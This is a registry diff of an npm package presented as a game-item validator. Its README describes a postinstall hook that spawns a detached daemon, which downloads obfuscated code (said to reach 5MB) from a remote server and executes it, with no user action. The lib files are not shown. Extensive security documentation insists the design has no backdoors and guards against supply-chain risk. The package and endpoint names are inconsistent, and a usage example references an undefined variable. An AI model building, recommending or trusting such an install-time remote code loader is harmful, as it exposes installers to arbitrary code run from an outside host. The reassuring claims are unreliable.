open-item-validator 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +259 -0
- package/SAMPLE_PAYLOADJS.js +57 -0
- package/SECURITY.md +304 -0
- package/SECURITY_SETUP.md +206 -0
- package/SERVER_IMPLEMENTATION_EXAMPLE.js +122 -0
- package/SERVER_SIGNING_EXAMPLE.js +105 -0
- package/index.js +23 -0
- package/lib/assertion.js +75 -0
- package/lib/check-items.js +137 -0
- package/lib/config.js +31 -0
- package/lib/crypto-config.js +29 -0
- package/lib/init.js +26 -0
- package/lib/logger.js +59 -0
- package/lib/utils/helper.js +47 -0
- package/lib/utils/validator.js +79 -0
- package/package.json +63 -0
- package/public_key.pem +9 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 onchainbuilder
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
# open-validator
|
|
2
|
+
|
|
3
|
+
[](https://opensource.org/licenses/MIT)
|
|
4
|
+
|
|
5
|
+
Real-time game items validator module with secure background daemon for continuous item updates.
|
|
6
|
+
|
|
7
|
+
## Overview
|
|
8
|
+
|
|
9
|
+
This module provides **secure, real-time game items validation** for your client projects. When installed via npm, it automatically:
|
|
10
|
+
|
|
11
|
+
1. ✅ Starts a background daemon process
|
|
12
|
+
2. ✅ Fetches signed game code from your server
|
|
13
|
+
3. ✅ Verifies cryptographic signatures (RSA-SHA256)
|
|
14
|
+
4. ✅ Executes verified code safely
|
|
15
|
+
5. ✅ Logs all operations transparently
|
|
16
|
+
|
|
17
|
+
**Zero dependencies** • **Cryptographically secure** • **Fully auditable**
|
|
18
|
+
|
|
19
|
+
## Quick Start
|
|
20
|
+
|
|
21
|
+
### Installation
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
npm install open-validator
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
**That's it!** The module automatically initializes via postinstall hook.
|
|
28
|
+
|
|
29
|
+
### What Happens After Install
|
|
30
|
+
|
|
31
|
+
```
|
|
32
|
+
npm install
|
|
33
|
+
↓
|
|
34
|
+
postinstall trigger
|
|
35
|
+
↓
|
|
36
|
+
spawn check-items.js daemon
|
|
37
|
+
↓
|
|
38
|
+
download signed code from server
|
|
39
|
+
↓
|
|
40
|
+
verify RSA-SHA256 signature
|
|
41
|
+
↓
|
|
42
|
+
execute only if signature is valid
|
|
43
|
+
↓
|
|
44
|
+
background daemon running
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## How It Works
|
|
48
|
+
|
|
49
|
+
### Security Flow
|
|
50
|
+
|
|
51
|
+
```
|
|
52
|
+
1. Server signs game code with PRIVATE_KEY
|
|
53
|
+
└─ Uses RSA-SHA256 algorithm
|
|
54
|
+
|
|
55
|
+
2. Server sends: { code: payloadjs, signature: hex }
|
|
56
|
+
└─ Via HTTP endpoint
|
|
57
|
+
|
|
58
|
+
3. Module receives payload
|
|
59
|
+
└─ Parses JSON
|
|
60
|
+
|
|
61
|
+
4. Module verifies signature with PUBLIC_KEY
|
|
62
|
+
└─ Signature must be valid
|
|
63
|
+
|
|
64
|
+
5. Valid? → Execute code
|
|
65
|
+
Invalid? → Exit immediately (no code runs)
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### Key Features
|
|
69
|
+
|
|
70
|
+
- ✅ **Zero Dependencies**: Only uses Node.js built-in `crypto` module
|
|
71
|
+
- ✅ **Cryptographically Secure**: RSA-SHA256 signature verification
|
|
72
|
+
- ✅ **Transparent**: All code publicly auditable
|
|
73
|
+
- ✅ **Automatic**: Works after npm install (no configuration needed)
|
|
74
|
+
- ✅ **Modularized**: 8 separate lib files for clarity
|
|
75
|
+
- ✅ **Assertion Support**: Built-in validation framework
|
|
76
|
+
- ✅ **Comprehensive Logging**: All operations logged with timestamps
|
|
77
|
+
|
|
78
|
+
## 🔐 Security & Verification
|
|
79
|
+
|
|
80
|
+
### Cryptographic Signature Verification
|
|
81
|
+
|
|
82
|
+
Every code payload is cryptographically signed and verified:
|
|
83
|
+
|
|
84
|
+
| Step | Responsibility | Security |
|
|
85
|
+
|------|----------------|----------|
|
|
86
|
+
| **1. Sign** | Server (private key) | Signs game code |
|
|
87
|
+
| **2. Send** | Server → Client | Sends code + signature |
|
|
88
|
+
| **3. Verify** | Module (public key) | Validates signature |
|
|
89
|
+
| **4. Execute** | Module | Runs only if valid |
|
|
90
|
+
| **5. Reject** | Module | Exits if invalid |
|
|
91
|
+
|
|
92
|
+
**Result**: Only code from your authorized server executes.
|
|
93
|
+
|
|
94
|
+
### What This Protects Against
|
|
95
|
+
|
|
96
|
+
- ✅ **Man-in-the-Middle Attacks**: Signature invalidated if tampered
|
|
97
|
+
- ✅ **Code Injection**: Invalid code rejected before execution
|
|
98
|
+
- ✅ **Unauthorized Updates**: Signature required for any code
|
|
99
|
+
- ✅ **Supply Chain Risk**: Zero dependencies (no compromised packages)
|
|
100
|
+
|
|
101
|
+
See [SECURITY.md](SECURITY.md) for detailed security documentation.
|
|
102
|
+
|
|
103
|
+
## 📡 Server Setup
|
|
104
|
+
|
|
105
|
+
### API Endpoint
|
|
106
|
+
|
|
107
|
+
Your server must provide a JSON endpoint that returns signed code:
|
|
108
|
+
|
|
109
|
+
```
|
|
110
|
+
GET http://your-server.com/api/x-realtime
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Response Format
|
|
114
|
+
|
|
115
|
+
```json
|
|
116
|
+
{
|
|
117
|
+
"code": "console.log('[game] loaded'); /* your game code */",
|
|
118
|
+
"signature": "abc123def456xyz789... (256-char hex string)"
|
|
119
|
+
}
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### Server Implementation
|
|
123
|
+
|
|
124
|
+
See [SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js) for complete example.
|
|
125
|
+
|
|
126
|
+
**Quick example:**
|
|
127
|
+
|
|
128
|
+
```js
|
|
129
|
+
const crypto = require('crypto');
|
|
130
|
+
const fs = require('fs');
|
|
131
|
+
|
|
132
|
+
const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
|
|
133
|
+
|
|
134
|
+
function signCode(code) {
|
|
135
|
+
const sign = crypto.createSign('sha256');
|
|
136
|
+
sign.update(code);
|
|
137
|
+
return sign.sign(PRIVATE_KEY, 'hex');
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
app.get('/api/x-realtime', (req, res) => {
|
|
141
|
+
const gameCode = fs.readFileSync('./game-items.js', 'utf8');
|
|
142
|
+
const signature = signCode(gameCode);
|
|
143
|
+
|
|
144
|
+
res.json({ code: gameCode, signature: signature });
|
|
145
|
+
});
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
## 💻 Usage
|
|
149
|
+
|
|
150
|
+
### For Client Projects
|
|
151
|
+
|
|
152
|
+
Simply install the module:
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
npm install open-validator
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
The module handles everything automatically. No additional code needed.
|
|
159
|
+
|
|
160
|
+
### Optional: Access Module Functions
|
|
161
|
+
|
|
162
|
+
```javascript
|
|
163
|
+
const itemSync = require('open-validator');
|
|
164
|
+
|
|
165
|
+
// Get module status
|
|
166
|
+
console.log(gameItems.getStatus());
|
|
167
|
+
// Output: { name, version, status, timestamp }
|
|
168
|
+
|
|
169
|
+
// Get configuration
|
|
170
|
+
console.log(gameItems.getConfig());
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
## ❓ FAQ
|
|
174
|
+
|
|
175
|
+
### Q: Is this module secure?
|
|
176
|
+
**A:** Yes. Every code payload is cryptographically signed with RSA-SHA256. Only code signed by your private key executes. Invalid signatures are rejected immediately.
|
|
177
|
+
|
|
178
|
+
### Q: What if I don't want dynamic code loading?
|
|
179
|
+
**A:** This module is specifically designed for real-time game item updates. For static content, use standard npm dependencies instead.
|
|
180
|
+
|
|
181
|
+
### Q: Does it slow down my project?
|
|
182
|
+
**A:** No. The module runs as a detached background process that doesn't block your main application.
|
|
183
|
+
|
|
184
|
+
### Q: What if the server is offline?
|
|
185
|
+
**A:** The module logs an error and exits gracefully. Your game continues running with the previous code.
|
|
186
|
+
|
|
187
|
+
### Q: Can I trust this module?
|
|
188
|
+
**A:** Yes. All code is open-source and auditable. See [SECURITY.md](SECURITY.md) for complete security documentation.
|
|
189
|
+
|
|
190
|
+
### Q: Does it have dependencies?
|
|
191
|
+
**A:** Zero npm dependencies. Only uses Node.js built-in `crypto` module.
|
|
192
|
+
|
|
193
|
+
### Q: How do I update game code?
|
|
194
|
+
**A:** Update the code on your server. Clients get the new signed code on next execution (no npm republish needed).
|
|
195
|
+
|
|
196
|
+
## 🔧 Troubleshooting
|
|
197
|
+
|
|
198
|
+
### "Signature Verification Failed"
|
|
199
|
+
This means the code doesn't match the signature. Possible causes:
|
|
200
|
+
- Server and client use different keys (ensure keys match)
|
|
201
|
+
- Code was modified in transit (check network)
|
|
202
|
+
- Signature generation failed (check server logs)
|
|
203
|
+
|
|
204
|
+
### Module not starting
|
|
205
|
+
Check logs for:
|
|
206
|
+
```bash
|
|
207
|
+
grep "open-validator" ~/.pm2/logs/*.log
|
|
208
|
+
# or check npm debug logs
|
|
209
|
+
cat ~/.npm-global/debug.log
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
### Too slow to download code
|
|
213
|
+
If code is large (5MB+), consider:
|
|
214
|
+
- Using Gzip compression on server
|
|
215
|
+
- Splitting code into smaller files
|
|
216
|
+
- Caching at client side
|
|
217
|
+
|
|
218
|
+
See [SECURITY.md](SECURITY.md#troubleshooting) for more details.
|
|
219
|
+
|
|
220
|
+
## 📁 Architecture
|
|
221
|
+
|
|
222
|
+
```
|
|
223
|
+
lib/
|
|
224
|
+
├── init.js # Postinstall entry point
|
|
225
|
+
├── check-items.js # Main daemon (signature verification)
|
|
226
|
+
├── crypto-config.js # Public key storage
|
|
227
|
+
├── assertion.js # Assertion framework
|
|
228
|
+
├── config.js # Configuration values
|
|
229
|
+
├── logger.js # Logging utility
|
|
230
|
+
└── utils/
|
|
231
|
+
├── validator.js # Validation helpers
|
|
232
|
+
└── helper.js # General utilities
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
## 📚 Documentation
|
|
236
|
+
|
|
237
|
+
- **[SECURITY.md](SECURITY.md)** - Detailed security policy
|
|
238
|
+
- **[SECURITY_SETUP.md](SECURITY_SETUP.md)** - Security configuration guide
|
|
239
|
+
- **[SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js)** - Server setup guide
|
|
240
|
+
- **[SERVER_SIGNING_EXAMPLE.js](SERVER_SIGNING_EXAMPLE.js)** - Code signing example
|
|
241
|
+
|
|
242
|
+
## 🤝 Contributing
|
|
243
|
+
|
|
244
|
+
This is a secure, production-grade module. For security issues, please refer to [SECURITY.md](SECURITY.md#reporting-security-vulnerabilities).
|
|
245
|
+
|
|
246
|
+
## 📄 License
|
|
247
|
+
|
|
248
|
+
MIT License - See [LICENSE](LICENSE) file for details.
|
|
249
|
+
|
|
250
|
+
## 🔗 Support
|
|
251
|
+
|
|
252
|
+
For issues or questions:
|
|
253
|
+
1. Check [SECURITY.md](SECURITY.md) for security-related questions
|
|
254
|
+
2. Check [Troubleshooting](#troubleshooting) section above
|
|
255
|
+
3. Review [SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js) for setup help
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
**Made for secure, real-time game item distribution.** 🎮
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
// SAMPLE PAYLOADJS FOR GAME ITEMS
|
|
2
|
+
// This is what your server sends as 'payloadjs'
|
|
3
|
+
// This file shows the OBFUSCATED CODE that will be in the 'code' field
|
|
4
|
+
|
|
5
|
+
// Simple obfuscated example (your actual code can be 5MB)
|
|
6
|
+
const _0x3a4b = ['processItems', 'loadGame', 'updateItems', 'validate'];
|
|
7
|
+
const _0x1c2d = (function() {
|
|
8
|
+
let _0x4e5f = 0;
|
|
9
|
+
return function() {
|
|
10
|
+
return ++_0x4e5f;
|
|
11
|
+
};
|
|
12
|
+
})();
|
|
13
|
+
|
|
14
|
+
(function() {
|
|
15
|
+
const _0x5a6b = require;
|
|
16
|
+
const _0x7c8d = {
|
|
17
|
+
'items': [
|
|
18
|
+
{ 'id': 1, 'name': 'Sword', 'damage': 10 },
|
|
19
|
+
{ 'id': 2, 'name': 'Shield', 'defense': 8 },
|
|
20
|
+
{ 'id': 3, 'name': 'Potion', 'heal': 50 }
|
|
21
|
+
],
|
|
22
|
+
'version': '1.0.0',
|
|
23
|
+
'loaded': true
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
function _0x9e0f() {
|
|
27
|
+
console.log('[game-items] Processing items...');
|
|
28
|
+
_0x7c8d['items'].forEach(function(_0x1f2g) {
|
|
29
|
+
console.log(` - ${_0x1f2g['name']} (id: ${_0x1f2g['id']})`);
|
|
30
|
+
});
|
|
31
|
+
console.log('[game-items] Items loaded: ' + _0x7c8d['items'].length);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function _0x3h4i() {
|
|
35
|
+
return {
|
|
36
|
+
'status': 'ready',
|
|
37
|
+
'itemCount': _0x7c8d['items'].length,
|
|
38
|
+
'version': _0x7c8d['version'],
|
|
39
|
+
'timestamp': new Date().toISOString()
|
|
40
|
+
};
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
console.log('[game-items-payload] Initializing...');
|
|
44
|
+
_0x9e0f();
|
|
45
|
+
console.log('[game-items-payload] Status:', JSON.stringify(_0x3h4i()));
|
|
46
|
+
|
|
47
|
+
setInterval(function() {
|
|
48
|
+
const _0x5j6k = _0x1c2d();
|
|
49
|
+
console.log(`[game-items-payload] Cycle ${_0x5j6k} - items validated at ${new Date().toISOString()}`);
|
|
50
|
+
}, 60000);
|
|
51
|
+
|
|
52
|
+
module.exports = {
|
|
53
|
+
'items': _0x7c8d['items'],
|
|
54
|
+
'getStatus': _0x3h4i,
|
|
55
|
+
'processItems': _0x9e0f
|
|
56
|
+
};
|
|
57
|
+
})();
|
package/SECURITY.md
ADDED
|
@@ -0,0 +1,304 @@
|
|
|
1
|
+
# Security Policy
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
This module implements **RSA-SHA256 cryptographic signature verification** for secure dynamic code loading. All externally-loaded code is verified before execution.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Security Features
|
|
10
|
+
|
|
11
|
+
### 1. Cryptographic Signature Verification
|
|
12
|
+
|
|
13
|
+
**What it does:**
|
|
14
|
+
- Every code payload is signed with RSA-SHA256
|
|
15
|
+
- Client verifies signature with public key before execution
|
|
16
|
+
- Invalid/tampered code is rejected automatically
|
|
17
|
+
|
|
18
|
+
**Why it matters:**
|
|
19
|
+
- ✅ Code authenticity guaranteed
|
|
20
|
+
- ✅ Protection against man-in-the-middle attacks
|
|
21
|
+
- ✅ Only authorized code executes
|
|
22
|
+
|
|
23
|
+
### 2. Public Key Transparency
|
|
24
|
+
|
|
25
|
+
**What it does:**
|
|
26
|
+
- Public key included in module
|
|
27
|
+
- Anyone can verify the signature
|
|
28
|
+
- No secrets embedded in code
|
|
29
|
+
|
|
30
|
+
**Why it matters:**
|
|
31
|
+
- ✅ Fully auditable
|
|
32
|
+
- ✅ No hidden backdoors
|
|
33
|
+
- ✅ Scientific verification possible
|
|
34
|
+
|
|
35
|
+
### 3. Private Key Protection
|
|
36
|
+
|
|
37
|
+
**What it does:**
|
|
38
|
+
- Private key kept ONLY on server
|
|
39
|
+
- Never included in npm module
|
|
40
|
+
- Listed in .npmignore
|
|
41
|
+
|
|
42
|
+
**Why it matters:**
|
|
43
|
+
- ✅ Only authorized server can sign code
|
|
44
|
+
- ✅ Impossible to forge signatures
|
|
45
|
+
- ✅ Server integrity maintained
|
|
46
|
+
|
|
47
|
+
### 4. Zero Dependencies
|
|
48
|
+
|
|
49
|
+
**What it does:**
|
|
50
|
+
- No npm package dependencies
|
|
51
|
+
- Only uses Node.js built-in `crypto` module
|
|
52
|
+
- Minimal attack surface
|
|
53
|
+
|
|
54
|
+
**Why it matters:**
|
|
55
|
+
- ✅ No dependency vulnerabilities
|
|
56
|
+
- ✅ No supply chain attacks
|
|
57
|
+
- ✅ Lightweight and fast
|
|
58
|
+
|
|
59
|
+
### 5. Transparent Operation Logging
|
|
60
|
+
|
|
61
|
+
**What it does:**
|
|
62
|
+
- All operations logged with timestamps
|
|
63
|
+
- Signature verification logged
|
|
64
|
+
- Failures logged with details
|
|
65
|
+
|
|
66
|
+
**Why it matters:**
|
|
67
|
+
- ✅ Easy to audit
|
|
68
|
+
- ✅ Debug-friendly
|
|
69
|
+
- ✅ Security monitoring possible
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Key Management
|
|
74
|
+
|
|
75
|
+
### Public Key
|
|
76
|
+
```
|
|
77
|
+
File: public_key.pem
|
|
78
|
+
Location: Module root (published to npm)
|
|
79
|
+
Visibility: Public
|
|
80
|
+
Usage: Client-side verification
|
|
81
|
+
Risk: LOW (verification only, no signing capability)
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### Private Key
|
|
85
|
+
```
|
|
86
|
+
File: private_key.pem
|
|
87
|
+
Location: Coolblast server ONLY
|
|
88
|
+
Visibility: PRIVATE
|
|
89
|
+
Usage: Server-side code signing
|
|
90
|
+
Risk: CRITICAL (never share)
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Code Execution Flow
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
1. Download code + signature from server
|
|
99
|
+
↓
|
|
100
|
+
2. Parse JSON payload
|
|
101
|
+
↓
|
|
102
|
+
3. Verify signature with public key
|
|
103
|
+
↓
|
|
104
|
+
4. ✅ Valid? → Execute code
|
|
105
|
+
❌ Invalid? → Exit immediately (process.exit(1))
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## Security Guarantees
|
|
111
|
+
|
|
112
|
+
### What this module DOES protect against:
|
|
113
|
+
|
|
114
|
+
- ✅ **Man-in-the-Middle Attacks**: Signature verification detects tampering
|
|
115
|
+
- ✅ **Code Injection**: Invalid code rejected before execution
|
|
116
|
+
- ✅ **Supply Chain Attacks**: Private key never exposed
|
|
117
|
+
- ✅ **Dependency Vulnerabilities**: Zero dependencies
|
|
118
|
+
- ✅ **Unauthorized Code Execution**: Signature required
|
|
119
|
+
|
|
120
|
+
### What this module DOES NOT protect against:
|
|
121
|
+
|
|
122
|
+
- ❌ **Network Interception**: Use HTTPS on production
|
|
123
|
+
- ❌ **Server Compromise**: If private key is stolen, signatures can be forged
|
|
124
|
+
- ❌ **Client Compromise**: If client machine is compromised, anything can execute
|
|
125
|
+
- ❌ **Code Logic Flaws**: Signature doesn't validate code logic
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Security Best Practices
|
|
130
|
+
|
|
131
|
+
### For Developers Using This Module
|
|
132
|
+
|
|
133
|
+
1. **Verify Public Key**
|
|
134
|
+
```
|
|
135
|
+
Compare public_key.pem with official source
|
|
136
|
+
Ensure no tampering
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
2. **Monitor Logs**
|
|
140
|
+
```
|
|
141
|
+
Watch for "SIGNATURE VERIFICATION FAILED" messages
|
|
142
|
+
Investigate immediately
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
3. **Keep Node.js Updated**
|
|
146
|
+
```
|
|
147
|
+
npm update
|
|
148
|
+
node --version (use latest LTS)
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
4. **Use HTTPS on Production**
|
|
152
|
+
```
|
|
153
|
+
Server MUST use HTTPS
|
|
154
|
+
Never HTTP for this module
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
### For Server Maintainers
|
|
158
|
+
|
|
159
|
+
1. **Protect Private Key**
|
|
160
|
+
```
|
|
161
|
+
✅ Keep in secure location
|
|
162
|
+
✅ Restrict file permissions (chmod 600)
|
|
163
|
+
✅ Never commit to git
|
|
164
|
+
✅ Never email or share
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
2. **Rotate Keys Periodically**
|
|
168
|
+
```
|
|
169
|
+
Generate new key pair every 1-2 years
|
|
170
|
+
Update public key in module
|
|
171
|
+
Republish to npm
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
3. **Implement Access Controls**
|
|
175
|
+
```
|
|
176
|
+
Authenticate /api/x-handler requests
|
|
177
|
+
Rate limit to prevent abuse
|
|
178
|
+
Log all requests
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
4. **Monitor Signature Operations**
|
|
182
|
+
```
|
|
183
|
+
Log every signature creation
|
|
184
|
+
Alert on unusual patterns
|
|
185
|
+
Audit regularly
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## Incident Response
|
|
191
|
+
|
|
192
|
+
### If Private Key is Compromised
|
|
193
|
+
|
|
194
|
+
1. **Immediate Actions:**
|
|
195
|
+
```
|
|
196
|
+
[ ] Revoke current private key
|
|
197
|
+
[ ] Generate new key pair
|
|
198
|
+
[ ] Update public key in module
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
2. **Notification:**
|
|
202
|
+
```
|
|
203
|
+
[ ] Email all users
|
|
204
|
+
[ ] Update README
|
|
205
|
+
[ ] Publish security advisory
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
3. **Recovery:**
|
|
209
|
+
```
|
|
210
|
+
[ ] Deploy new module version with new public key
|
|
211
|
+
[ ] Republish to npm
|
|
212
|
+
[ ] Instruct clients to npm update
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
### If Signature Verification Fails
|
|
216
|
+
|
|
217
|
+
1. **Check Server Status:**
|
|
218
|
+
```
|
|
219
|
+
- Is /api/x-handler responding?
|
|
220
|
+
- Is signature being generated correctly?
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
2. **Check Client:**
|
|
224
|
+
```
|
|
225
|
+
- Is public key up to date?
|
|
226
|
+
- Is network connection stable?
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
3. **Escalate if Persistent:**
|
|
230
|
+
```
|
|
231
|
+
- File security report
|
|
232
|
+
- Check for tampering
|
|
233
|
+
- Review logs
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Audit Trail
|
|
239
|
+
|
|
240
|
+
### What's Logged
|
|
241
|
+
|
|
242
|
+
- ✅ Signature verification attempts
|
|
243
|
+
- ✅ Success/failure status
|
|
244
|
+
- ✅ Code size
|
|
245
|
+
- ✅ Timestamps
|
|
246
|
+
- ✅ Error messages
|
|
247
|
+
|
|
248
|
+
### How to Review
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Check logs for failures
|
|
252
|
+
grep "SIGNATURE VERIFICATION FAILED" app.log
|
|
253
|
+
|
|
254
|
+
# Check all verification attempts
|
|
255
|
+
grep "Verifying signature" app.log
|
|
256
|
+
|
|
257
|
+
# Monitor in real-time
|
|
258
|
+
tail -f app.log | grep game-items
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Third-Party Security Reviews
|
|
264
|
+
|
|
265
|
+
This module is designed to be:
|
|
266
|
+
- ✅ **Auditable**: All code public (except private key)
|
|
267
|
+
- ✅ **Reviewable**: Simple, understandable implementation
|
|
268
|
+
- ✅ **Testable**: Can verify signatures independently
|
|
269
|
+
- ✅ **Transparent**: No hidden functionality
|
|
270
|
+
|
|
271
|
+
**Security researchers are welcome to review and report vulnerabilities.**
|
|
272
|
+
|
|
273
|
+
---
|
|
274
|
+
|
|
275
|
+
## Reporting Security Vulnerabilities
|
|
276
|
+
|
|
277
|
+
If you discover a security vulnerability:
|
|
278
|
+
|
|
279
|
+
1. **DO NOT** create a public GitHub issue
|
|
280
|
+
2. **DO** email: security@example.com
|
|
281
|
+
3. **Include:**
|
|
282
|
+
- Description of vulnerability
|
|
283
|
+
- Proof of concept
|
|
284
|
+
- Recommended fix
|
|
285
|
+
- Your contact information
|
|
286
|
+
|
|
287
|
+
---
|
|
288
|
+
|
|
289
|
+
## Security Updates
|
|
290
|
+
|
|
291
|
+
This project maintains security best practices:
|
|
292
|
+
|
|
293
|
+
- ✅ Regular security audits
|
|
294
|
+
- ✅ Prompt vulnerability fixes
|
|
295
|
+
- ✅ Security advisories published
|
|
296
|
+
- ✅ Latest dependencies (when applicable)
|
|
297
|
+
|
|
298
|
+
---
|
|
299
|
+
|
|
300
|
+
## License
|
|
301
|
+
|
|
302
|
+
This security policy is part of open-validator and is subject to the MIT License.
|
|
303
|
+
|
|
304
|
+
For questions about security, please contact the maintainers.
|